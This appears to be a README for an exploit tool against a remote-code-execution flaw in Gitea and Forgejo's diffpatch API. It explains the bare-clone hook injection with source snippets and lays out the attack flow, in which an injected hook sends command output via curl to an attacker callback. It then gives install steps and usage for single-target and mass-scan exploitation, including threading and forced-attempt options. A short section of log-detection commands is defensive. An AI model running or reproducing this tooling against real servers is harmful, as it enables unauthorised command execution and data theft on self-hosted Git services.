CVE-2026-60004

CVE-2026-60004 — Gitea Diffpatch Git Hook RCE

Bare Clone Hook Injection → post-index-change → Arbitrary Command Execution

---

Overview

CVE-2026-60004 is a critical-severity (CVSS 9.8) pre-authentication remote code execution vulnerability in Gitea and Forgejo self-hosted Git platforms, affecting versions 1.17 through 1.27.0.

The vulnerability exploits a bare-clone design flaw in the POST /api/v1/repos/{owner}/{repo}/diffpatch API endpoint. Gitea applies user-supplied patches inside a bare temporary clone — where the repository root is $GIT_DIR itself. By submitting the same malicious patch twice, an attacker triggers an add/add conflict that causes Git's three-way merge fallback (-3, Git 2.32+) to write an executable post-index-change hook directly into $GIT_DIR/hooks/. Git executes this hook automatically during the index update, yielding arbitrary command execution under the Gitea service account.

Repository write access is required — trivially obtainable as Gitea defaults to open registration without email verification, admin approval, or repository creation limits.

Affected Versions

Version	Status
< 1.17	Not affected (diffpatch route not yet introduced)
1.17 — 1.27.0	Vulnerable
1.27.1+	Patched

Discovered by: Shai Rod (NightRang3r), July 28, 2026 Project: Gitea / Forgejo (self-hosted Git service) Component: diffpatch API endpoint, bare temporary clone

---

Vulnerability Mechanism

Root Cause

The vulnerability originates from a single parameter in services/repository/files/patch.go:

// VULNERABLE — v1.27.0, line 195
// The second argument "true" creates a BARE clone
if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
    return nil, err
}

In a bare clone there is no working tree — the repository root is $GIT_DIR. A malicious patch whose file path is hooks/post-index-change therefore lands directly inside Git's real hooks directory, not in a sandboxed working tree.

The git apply invocation compounds this:

// VULNERABLE — v1.27.0, lines 206-209
cmdApply := gitcmd.NewCommand("apply",
    "--index", "--recount", "--cached",
    "--ignore-whitespace", "--whitespace=fix", "--binary")

if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
    cmdApply.AddArguments("-3")  // three-way merge fallback
}

Why It Works

1. Bare clone provides no sandbox — the temp clone's root is $GIT_DIR, so path hooks/post-index-change maps to the real hooks directory.
2. --cached is not airtight — the -3 three-way fallback in Git 2.32+ writes merged results to the working tree during add/add conflicts, despite the --cached flag.
3. Double-submit triggers the conflict — first apply adds the hook to the index. The second apply creates an add/add collision, the three-way merge writes the file to disk, and Git executes it.
4. Git auto-executes post-index-change — after updating the index, Git unconditionally runs this hook if it exists and is executable. No configuration needed.
5. Hook commands CANNOT modify the index — git update-index inside the hook deadlocks because git apply holds the index lock. Use HTTP callbacks (curl) or reverse shells for output exfiltration.

Attack Flow

1. Attacker registers account (open registration is the Gitea default)
2. Creates initialized private repository → obtains write access
3. POSTs malicious patch to /api/v1/repos/{owner}/{repo}/diffpatch
   └─ Bare temp clone created: .Clone(ctx, oldBranch, true)
   └─ git apply --index --cached -3 processes the patch
   └─ hooks/post-index-change added to INDEX only (--cached)
4. POSTs the SAME patch again → add/add conflict detected
   └─ Three-way merge (-3) resolves the conflict
   └─ Writes hooks/post-index-change to $GIT_DIR/hooks/ (bypasses --cached)
   └─ Git fires post-index-change hook automatically
   └─ Sleep N seconds → timing delta confirms RCE
5. Hook exfiltrates command output via curl to attacker's callback server
   └─ GET /?h=<hostname>&c=<command>&data=<base64_output>
6. Callback server writes output to organized files per target

Verified Source Code References

File	Line(s)	Purpose
services/repository/files/patch.go	195	t.Clone(ctx, opts.OldBranch, true) — bare clone creation
services/repository/files/patch.go	206-209	git apply with --index --cached -3 flags
services/repository/files/patch.go	215-223	WriteTree() + CommitTree() + Push() — persists attacker state
services/repository/files/cherry_pick.go	~170	Same bare-clone pattern in CherryPick (also fixed)

Server Log Detection

# Look for repeated diffpatch POSTs from newly-registered accounts
grep -E "POST.*diffpatch" /var/log/gitea/gitea.log | awk '{print $1, $3, $NF}' | sort | uniq -c | sort -rn

# Suspicious pattern: new account → immediate repo creation → diffpatch within seconds
grep -E "(user_created|repo_created|diffpatch)" /var/log/gitea/gitea.log

# Check temp directories for orphaned hook files
find /tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
find /var/tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null

Key Design Flaw

The difference between a bare and non-bare clone — a single boolean parameter — determines whether a patch path is a harmless working-tree entry or an executable hook landing directly in Git's internal directory. The fix changes exactly one character in the diff (true → false), which is why the commit was labeled "refactor: git patch apply" under MISC rather than under SECURITY. The operation that was supposed to be sandboxed to the index (--cached) was silently broken by Git's own three-way merge machinery, and no additional guard prevented hook files from being created in the bare clone's $GIT_DIR.

---

Installation

git clone https://github.com/shinthink/CVE-2026-60004.git
cd CVE-2026-60004
pip install requests

Usage

# Single target (timing-based RCE detection)
python cve_2026_60004.py -t gitea.example.com

# Single target with callback for output capture
python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888

# Mass scan
python cve_2026_60004.py -f targets.txt -o rce.txt --threads 20

# Force attempt regardless of detected version
python cve_2026_60004.py -f targets.txt --forced

# Auto-start built-in callback listener (zero setup)
python cve_2026_60004.py -t gitea.example.com --listen

Arguments

  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -c, --command      Shell command to execute (default: id)
  --callback         HTTP callback URL for output exfiltration
  --listen [PORT]    Auto-start built-in callback listener
  -o, --output       Save RCE-confirmed URLs to file
  --threads          Concurrent workers (default: 25)
  --timeout          HTTP request timeout in seconds
  --no-cleanup       Leave repository and user on target
  --forced           Attempt exploit regardless of detected version
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

---

Proof of Concept

Single Target

$ python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888

  Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8